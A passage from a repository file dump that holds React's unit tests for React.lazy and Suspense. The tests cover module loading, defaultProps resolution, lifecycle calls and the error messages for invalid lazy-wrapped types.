{});\n    const root = ReactNoop.createRoot();\n    act(() => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Fallback />}>\n            <App />\n          </Suspense>,\n        );\n      });\n    });\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    // `act` warns after a few microtasks, instead of a macrotask, so that it's\n    // more likely to be attributed to the correct test case.\n    //\n    // The exact number of microtasks is an implementation detail; just needs\n    // to happen when the microtask queue is flushed.\n    await waitForMicrotasks();\n\n    expect(console.error).toHaveBeenCalledTimes(0);\n\n    // Finish loading the data\n    await act(async () => {\n      resolvePromise();\n    });\n    expect(root).toMatchRenderedOutput('Async');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactLazy-test.internal.js",
    "content": "let React;\nlet ReactTestRenderer;\nlet Scheduler;\nlet Suspense;\nlet lazy;\nlet waitFor;\nlet waitForAll;\nlet waitForThrow;\nlet assertLog;\nlet assertConsoleErrorDev;\nlet act;\n\nlet fakeModuleCache;\n\nfunction normalizeCodeLocInfo(str) {\n  return (\n    str &&\n    str.replace(/\\n +(?:at|in) ([\\S]+)[^\\n]*/g, function (m, name) {\n      return '\\n    in ' + name + ' (at **)';\n    })\n  );\n}\n\ndescribe('ReactLazy', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    Suspense = React.Suspense;\n    lazy = React.lazy;\n    ReactTestRenderer = require('react-test-renderer');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    waitForAll = InternalTestUtils.waitForAll;\n    waitForThrow = InternalTestUtils.waitForThrow;\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n    act = InternalTestUtils.act;\n\n    fakeModuleCache = new Map();\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return props.text;\n  }\n\n  async function fakeImport(Component) {\n    const record = fakeModuleCache.get(Component);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'pending',\n        value: {default: Component},\n        pings: [],\n        then(ping) {\n          switch (newRecord.status) {\n            case 'pending': {\n              newRecord.pings.push(ping);\n              return;\n            }\n            case 'resolved': {\n              ping(newRecord.value);\n              return;\n            }\n            case 'rejected': {\n              throw newRecord.value;\n            }\n          }\n        },\n      };\n      fakeModuleCache.set(Component, newRecord);\n      return newRecord;\n    }\n    return record;\n  }\n\n  function resolveFakeImport(moduleName) {\n    const record = fakeModuleCache.get(moduleName);\n    if (record === undefined) {\n      throw new Error('Module not found');\n    }\n    if (record.status !== 'pending') {\n      throw new Error('Module already resolved');\n    }\n    record.status = 'resolved';\n    record.pings.forEach(ping => ping(record.value));\n  }\n\n  it('suspends until module has loaded', async () => {\n    const LazyText = lazy(() => fakeImport(Text));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyText text=\"Hi\" />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('Hi');\n\n    await act(() => resolveFakeImport(Text));\n    assertLog(['Hi']);\n    expect(root).toMatchRenderedOutput('Hi');\n\n    // Should not suspend on update\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyText text=\"Hi again\" />\n      </Suspense>,\n    );\n    await waitForAll(['Hi again']);\n    expect(root).toMatchRenderedOutput('Hi again');\n  });\n\n  it('renders a lazy context provider', async () => {\n    const Context = React.createContext('default');\n    function ConsumerText() {\n      return <Text text={React.useContext(Context)} />;\n    }\n    // Context.Provider === Context, so we can lazy-load the context itself\n    const LazyProvider = lazy(() => fakeImport(Context));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyProvider value=\"Hi\">\n          <ConsumerText />\n        </LazyProvider>\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('Hi');\n\n    await act(() => resolveFakeImport(Context));\n    assertLog(['Hi']);\n    expect(root).toMatchRenderedOutput('Hi');\n\n    // Should not suspend on update\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyProvider value=\"Hi again\">\n          <ConsumerText />\n        </LazyProvider>\n      </Suspense>,\n    );\n    await waitForAll(['Hi again']);\n    expect(root).toMatchRenderedOutput('Hi again');\n  });\n\n  it('can resolve synchronously without suspending', async () => {\n    const LazyText = lazy(() => ({\n      then(cb) {\n        cb({default: Text});\n      },\n    }));\n\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <LazyText text=\"Hi\" />\n        </Suspense>,\n        {unstable_isConcurrent: true},\n      );\n    });\n\n    assertLog(['Hi']);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('can reject synchronously without suspending', async () => {\n    const LazyText = lazy(() => ({\n      then(resolve, reject) {\n        reject(new Error('oh no'));\n      },\n    }));\n\n    class ErrorBoundary extends React.Component {\n      state = {};\n      static getDerivedStateFromError(error) {\n        return {message: error.message};\n      }\n      render() {\n        return this.state.message\n          ? `Error: ${this.state.message}`\n          : this.props.children;\n      }\n    }\n\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(\n        <ErrorBoundary>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <LazyText text=\"Hi\" />\n          </Suspense>\n        </ErrorBoundary>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    assertLog([]);\n    expect(root).toMatchRenderedOutput('Error: oh no');\n  });\n\n  it('multiple lazy components', async () => {\n    function Foo() {\n      return <Text text=\"Foo\" />;\n    }\n\n    function Bar() {\n      return <Text text=\"Bar\" />;\n    }\n\n    const LazyFoo = lazy(() => fakeImport(Foo));\n    const LazyBar = lazy(() => fakeImport(Bar));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyFoo />\n        <LazyBar />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('FooBar');\n\n    await resolveFakeImport(Foo);\n\n    await waitForAll(['Foo']);\n    expect(root).not.toMatchRenderedOutput('FooBar');\n\n    await act(() => resolveFakeImport(Bar));\n    assertLog(['Foo', 'Bar']);\n    expect(root).toMatchRenderedOutput('FooBar');\n  });\n\n  it('does not support arbitrary promises, only module objects', async () => {\n    const LazyText = lazy(async () => Text);\n\n    const root = ReactTestRenderer.create(null, {\n      unstable_isConcurrent: true,\n    });\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <LazyText text=\"Hi\" />\n        </Suspense>\n      );\n    }\n\n    let error;\n    try {\n      await act(() => {\n        root.update(<App />);\n      });\n    } catch (e) {\n      error = e;\n    }\n\n    expect(error.message).toMatch('Element type is invalid');\n    assertLog(['Loading...']);\n    assertConsoleErrorDev([\n      'lazy: Expected the result of a dynamic import() call. ' +\n        'Instead received: function Text(props) {\\n' +\n        '    Scheduler.log(props.text);\\n' +\n        '    return props.text;\\n' +\n        '  }\\n\\n' +\n        'Your code should look like: \\n  ' +\n        \"const MyComponent = lazy(() => import('./MyComponent'))\\n\" +\n        '    in App (at **)',\n      'lazy: Expected the result of a dynamic import() call. ' +\n        'Instead received: function Text(props) {\\n' +\n        '    Scheduler.log(props.text);\\n' +\n        '    return props.text;\\n' +\n        '  }\\n\\n' +\n        'Your code should look like: \\n  ' +\n        \"const MyComponent = lazy(() => import('./MyComponent'))\\n\" +\n        '    in App (at **)',\n    ]);\n    expect(root).not.toMatchRenderedOutput('Hi');\n  });\n\n  it('throws if promise rejects', async () => {\n    const networkError = new Error('Bad network');\n    const LazyText = lazy(async () => {\n      throw networkError;\n    });\n\n    const root = ReactTestRenderer.create(null, {\n      unstable_isConcurrent: true,\n    });\n\n    let error;\n    try {\n      await act(() => {\n        root.update(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <LazyText text=\"Hi\" />\n          </Suspense>,\n        );\n      });\n    } catch (e) {\n      error = e;\n    }\n\n    expect(error).toBe(networkError);\n    assertLog(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('Hi');\n  });\n\n  it('mount and reorder', async () => {\n    class Child extends React.Component {\n      componentDidMount() {\n        Scheduler.log('Did mount: ' + this.props.label);\n      }\n      componentDidUpdate() {\n        Scheduler.log('Did update: ' + this.props.label);\n      }\n      render() {\n        return <Text text={this.props.label} />;\n      }\n    }\n\n    const LazyChildA = lazy(() => {\n      Scheduler.log('Suspend! [LazyChildA]');\n      return fakeImport(Child);\n    });\n    const LazyChildB = lazy(() => {\n      Scheduler.log('Suspend! [LazyChildB]');\n      return fakeImport(Child);\n    });\n\n    function Parent({swap}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {swap\n            ? [\n                <LazyChildB key=\"B\" label=\"B\" />,\n                <LazyChildA key=\"A\" label=\"A\" />,\n              ]\n            : [\n                <LazyChildA key=\"A\" label=\"A\" />,\n                <LazyChildB key=\"B\" label=\"B\" />,\n              ]}\n        </Suspense>\n      );\n    }\n\n    const root = ReactTestRenderer.create(<Parent swap={false} />, {\n      unstable_isConcurrent: true,\n    });\n\n    await waitForAll([\n      'Suspend! [LazyChildA]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [LazyChildB]',\n    ]);\n    expect(root).not.toMatchRenderedOutput('AB');\n\n    await act(async () => {\n      await resolveFakeImport(Child);\n\n      // B suspends even though it happens to share the same import as A.\n      // TODO: React.lazy should implement the `status` and `value` fields, so\n      // we can unwrap the result synchronously if it already loaded. Like `use`.\n      await waitFor([\n        'A',\n        // pre-warming: LazyChildB was already initialized. So it also already resolved\n        // when we called resolveFakeImport above. So it doesn't suspend again.\n        'B',\n      ]);\n    });\n    assertLog(['Did mount: A', 'Did mount: B']);\n    expect(root).toMatchRenderedOutput('AB');\n\n    // Swap the position of A and B\n    root.update(<Parent swap={true} />);\n    await waitForAll(['B', 'A', 'Did update: B', 'Did update: A']);\n    expect(root).toMatchRenderedOutput('BA');\n  });\n\n  it('resolves defaultProps, on mount and update', async () => {\n    class T extends React.Component {\n      render() {\n        return <Text {...this.props} />;\n      }\n    }\n    T.defaultProps = {text: 'Hi'};\n    const LazyText = lazy(() => fakeImport(T));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyText />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('Hi');\n\n    await act(() => resolveFakeImport(T));\n    assertLog(['Hi']);\n\n    expect(root).toMatchRenderedOutput('Hi');\n\n    T.defaultProps = {text: 'Hi again'};\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyText />\n      </Suspense>,\n    );\n    await waitForAll(['Hi again']);\n    expect(root).toMatchRenderedOutput('Hi again');\n  });\n\n  it('resolves defaultProps without breaking memoization', async () => {\n    class LazyImpl extends React.Component {\n      render() {\n        Scheduler.log('Lazy');\n        return (\n          <>\n            <Text text={this.props.siblingText} />\n            {this.props.children}\n          </>\n        );\n      }\n    }\n    LazyImpl.defaultProps = {siblingText: 'Sibling'};\n    const Lazy = lazy(() => fakeImport(LazyImpl));\n\n    class Stateful extends React.Component {\n      state = {text: 'A'};\n      render() {\n        return <Text text={this.state.text} />;\n      }\n    }\n\n    const stateful = React.createRef(null);\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <Lazy>\n          <Stateful ref={stateful} />\n        </Lazy>\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('SiblingA');\n\n    await act(() => resolveFakeImport(LazyImpl));\n    assertLog(['Lazy', 'Sibling', 'A']);\n\n    expect(root).toMatchRenderedOutput('SiblingA');\n\n    // Lazy should not re-render\n    stateful.current.setState({text: 'B'});\n    await waitForAll(['B']);\n    expect(root).toMatchRenderedOutput('SiblingB');\n  });\n\n  it('resolves defaultProps without breaking bailout due to unchanged props and state, #17151', async () => {\n    class LazyImpl extends React.Component {\n      static defaultProps = {value: 0};\n\n      render() {\n        const text = `${this.props.label}: ${this.props.value}`;\n        return <Text text={text} />;\n      }\n    }\n\n    const Lazy = lazy(() => fakeImport(LazyImpl));\n\n    const instance1 = React.createRef(null);\n    const instance2 = React.createRef(null);\n\n    const root = ReactTestRenderer.create(\n      <>\n        <LazyImpl ref={instance1} label=\"Not lazy\" />\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Lazy ref={instance2} label=\"Lazy\" />\n        </Suspense>\n      </>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n    await waitForAll(['Not lazy: 0', 'Loading...']);\n    expect(root).not.toMatchRenderedOutput('Not lazy: 0Lazy: 0');\n\n    await act(() => resolveFakeImport(LazyImpl));\n    assertLog(['Lazy: 0']);\n    expect(root).toMatchRenderedOutput('Not lazy: 0Lazy: 0');\n\n    // Should bailout due to unchanged props and state\n    instance1.current.setState(null);\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('Not lazy: 0Lazy: 0');\n\n    // Should bailout due to unchanged props and state\n    instance2.current.setState(null);\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('Not lazy: 0Lazy: 0');\n  });\n\n  it('resolves defaultProps without breaking bailout in PureComponent, #17151', async () => {\n    class LazyImpl extends React.PureComponent {\n      static defaultProps = {value: 0};\n      state = {};\n\n      render() {\n        const text = `${this.props.label}: ${this.props.value}`;\n        return <Text text={text} />;\n      }\n    }\n\n    const Lazy = lazy(() => fakeImport(LazyImpl));\n\n    const instance1 = React.createRef(null);\n    const instance2 = React.createRef(null);\n\n    const root = ReactTestRenderer.create(\n      <>\n        <LazyImpl ref={instance1} label=\"Not lazy\" />\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Lazy ref={instance2} label=\"Lazy\" />\n        </Suspense>\n      </>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n    await waitForAll(['Not lazy: 0', 'Loading...']);\n    expect(root).not.toMatchRenderedOutput('Not lazy: 0Lazy: 0');\n\n    await act(() => resolveFakeImport(LazyImpl));\n    assertLog(['Lazy: 0']);\n    expect(root).toMatchRenderedOutput('Not lazy: 0Lazy: 0');\n\n    // Should bailout due to shallow equal props and state\n    instance1.current.setState({});\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('Not lazy: 0Lazy: 0');\n\n    // Should bailout due to shallow equal props and state\n    instance2.current.setState({});\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('Not lazy: 0Lazy: 0');\n  });\n\n  it('sets defaultProps for modern lifecycles', async () => {\n    class C extends React.Component {\n      static defaultProps = {text: 'A'};\n      state = {};\n\n      static getDerivedStateFromProps(props) {\n        Scheduler.log(`getDerivedStateFromProps: ${props.text}`);\n        return null;\n      }\n\n      constructor(props) {\n        super(props);\n        Scheduler.log(`constructor: ${this.props.text}`);\n      }\n\n      componentDidMount() {\n        Scheduler.log(`componentDidMount: ${this.props.text}`);\n      }\n\n      componentDidUpdate(prevProps) {\n        Scheduler.log(\n          `componentDidUpdate: ${prevProps.text} -> ${this.props.text}`,\n        );\n      }\n\n      componentWillUnmount() {\n        Scheduler.log(`componentWillUnmount: ${this.props.text}`);\n      }\n\n      shouldComponentUpdate(nextProps) {\n        Scheduler.log(\n          `shouldComponentUpdate: ${this.props.text} -> ${nextProps.text}`,\n        );\n        return true;\n      }\n\n      getSnapshotBeforeUpdate(prevProps) {\n        Scheduler.log(\n          `getSnapshotBeforeUpdate: ${prevProps.text} -> ${this.props.text}`,\n        );\n        return null;\n      }\n\n      render() {\n        return <Text text={this.props.text + this.props.num} />;\n      }\n    }\n\n    const LazyClass = lazy(() => fakeImport(C));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyClass num={1} />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('A1');\n\n    await act(() => resolveFakeImport(C));\n    assertLog([\n      'constructor: A',\n      'getDerivedStateFromProps: A',\n      'A1',\n      'componentDidMount: A',\n    ]);\n\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyClass num={2} />\n      </Suspense>,\n    );\n    await waitForAll([\n      'getDerivedStateFromProps: A',\n      'shouldComponentUpdate: A -> A',\n      'A2',\n      'getSnapshotBeforeUpdate: A -> A',\n      'componentDidUpdate: A -> A',\n    ]);\n    expect(root).toMatchRenderedOutput('A2');\n\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyClass num={3} />\n      </Suspense>,\n    );\n    await waitForAll([\n      'getDerivedStateFromProps: A',\n      'shouldComponentUpdate: A -> A',\n      'A3',\n      'getSnapshotBeforeUpdate: A -> A',\n      'componentDidUpdate: A -> A',\n    ]);\n    expect(root).toMatchRenderedOutput('A3');\n  });\n\n  it('sets defaultProps for legacy lifecycles', async () => {\n    class C extends React.Component {\n      static defaultProps = {text: 'A'};\n      state = {};\n\n      UNSAFE_componentWillMount() {\n        Scheduler.log(`UNSAFE_componentWillMount: ${this.props.text}`);\n      }\n\n      UNSAFE_componentWillUpdate(nextProps) {\n        Scheduler.log(\n          `UNSAFE_componentWillUpdate: ${this.props.text} -> ${nextProps.text}`,\n        );\n      }\n\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        Scheduler.log(\n          `UNSAFE_componentWillReceiveProps: ${this.props.text} -> ${nextProps.text}`,\n        );\n      }\n\n      render() {\n        return <Text text={this.props.text + this.props.num} />;\n      }\n    }\n\n    const LazyClass = lazy(() => fakeImport(C));\n\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <LazyClass num={1} />\n        </Suspense>,\n        {unstable_isConcurrent: true},\n      );\n    });\n\n    assertLog(['Loading...']);\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    await resolveFakeImport(C);\n\n    assertLog([]);\n\n    await act(() => {\n      root.update(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <LazyClass num={2} />\n        </Suspense>,\n      );\n    });\n\n    assertLog(['UNSAFE_componentWillMount: A', 'A2']);\n    expect(root).toMatchRenderedOutput('A2');\n\n    await act(() => {\n      root.update(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <LazyClass num={3} />\n        </Suspense>,\n      );\n    });\n    assertLog([\n      'UNSAFE_componentWillReceiveProps: A -> A',\n      'UNSAFE_componentWillUpdate: A -> A',\n      'A3',\n    ]);\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('A3');\n  });\n\n  it('throws with a useful error when wrapping invalid type with lazy()', async () => {\n    const BadLazy = lazy(() => fakeImport(42));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(42);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: 42. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  it('throws with a useful error when wrapping Fragment with lazy()', async () => {\n    const BadLazy = lazy(() => fakeImport(React.Fragment));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(React.Fragment);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: Fragment. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  // @gate !fb\n  it('throws with a useful error when wrapping createPortal with lazy()', async () => {\n    const ReactDOM = require('react-dom');\n    const container = document.createElement('div');\n    const portal = ReactDOM.createPortal(<div />, container);\n    const BadLazy = lazy(() => fakeImport(portal));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(portal);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: Portal. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  it('throws with a useful error when wrapping Profiler with lazy()', async () => {\n    const BadLazy = lazy(() => fakeImport(React.Profiler));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(React.Profiler);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: Profiler. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  it('throws with a useful error when wrapping StrictMode with lazy()', async () => {\n    const BadLazy = lazy(() => fakeImport(React.StrictMode));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(React.StrictMode);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: StrictMode. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  it('throws with a useful error when wrapping Suspense with lazy()', async () => {\n    const BadLazy = lazy(() => fakeImport(React.Suspense));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(React.Suspense);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: Suspense. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  it('renders a lazy context provider without value prop', async () => {\n    // Context providers work when wrapped in lazy()\n    const Context = React.createContext('default');\n    const LazyProvider = lazy(() => fakeImport(Context));\n\n    function ConsumerText() {\n      return <Text text={React.useContext(Context)} />;\n    }\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyProvider value=\"provided\">\n          <ConsumerText />\n        </LazyProvider>\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await act(() => resolveFakeImport(Context));\n    assertLog(['provided']);\n    expect(root).toMatchRenderedOutput('provided');\n  });\n\n  it('throws with a useful error when wrapping Context.Consumer with lazy()', async () => {\n    const Context = React.createContext(null);\n    const BadLazy = lazy(() => fakeImport(Context.Consumer));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(Context.Consumer);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: Context.Consumer. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('throws with a useful error when wrapping SuspenseList with lazy()', async () => {\n    const BadLazy = lazy(() => fakeImport(React.unstable_SuspenseList));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(React.unstable_SuspenseList);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: SuspenseList. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  // @gate enableViewTransition\n  it('throws with a useful error when wrapping ViewTransition with lazy()', async () => {\n    const BadLazy = lazy(() => fakeImport(React.ViewTransition));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(React.ViewTransition);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: ViewTransition. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  it('throws with a useful error when wrapping Activity with lazy()', async () => {\n    const BadLazy = lazy(() => fakeImport(React.Activity));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(React.Activity);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: Activity. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  // @gate enableTransitionTracing\n  it('throws with a useful error when wrapping TracingMarker with lazy()', async () => {\n    const BadLazy = lazy(() => fakeImport(React.unstable_TracingMarker));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n\n    await resolveFakeImport(React.unstable_TracingMarker);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadLazy />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: TracingMarker. ' +\n        'Lazy element type must resolve to a class or function.',\n    );\n  });\n\n  it('throws with a useful error when wrapping lazy() multiple times', async () => {\n    const Lazy1 = lazy(() => fakeImport(Text));\n    const Lazy2 = lazy(() => fakeImport(Lazy1));\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <Lazy2 text=\"Hello\" />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('Hello');\n\n    await resolveFakeImport(Lazy1);\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <Lazy2 text=\"Hello\" />\n      </Suspense>,\n    );\n    await waitForThrow(\n      'Element type is invalid. Received a promise that resolves to: [object Object]. ' +\n        'Lazy element type must resolve to a class or function.' +\n        (__DEV__\n          ? ' Did you wrap a component in React.lazy() more than once?'\n          : ''),\n    );\n  });\n\n  it('resolves props for function component without defaultProps', async () => {\n    function Add(props) {\n      return props.inner + props.outer;\n    }\n    const LazyAdd = lazy(() => fakeImport(Add));\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner=\"2\" outer=\"2\" />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('22');\n\n    // Mount\n    await act(() => resolveFakeImport(Add));\n\n    expect(root).toMatchRenderedOutput('22');\n\n    // Update\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner={false} outer={false} />\n      </Suspense>,\n    );\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('0');\n  });\n\n  it('resolves props for class component with defaultProps', async () => {\n    class Add extends React.Component {\n      render() {\n        expect(this.props.innerWithDefault).toBe(42);\n        return this.props.inner + this.props.outer;\n      }\n    }\n    Add.defaultProps = {\n      innerWithDefault: 42,\n    };\n    const LazyAdd = lazy(() => fakeImport(Add));\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner=\"2\" outer=\"2\" />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('22');\n\n    // Mount\n    await act(() => resolveFakeImport(Add));\n\n    expect(root).toMatchRenderedOutput('22');\n\n    // Update\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner={false} outer={false} />\n      </Suspense>,\n    );\n    await waitForAll([]);\n    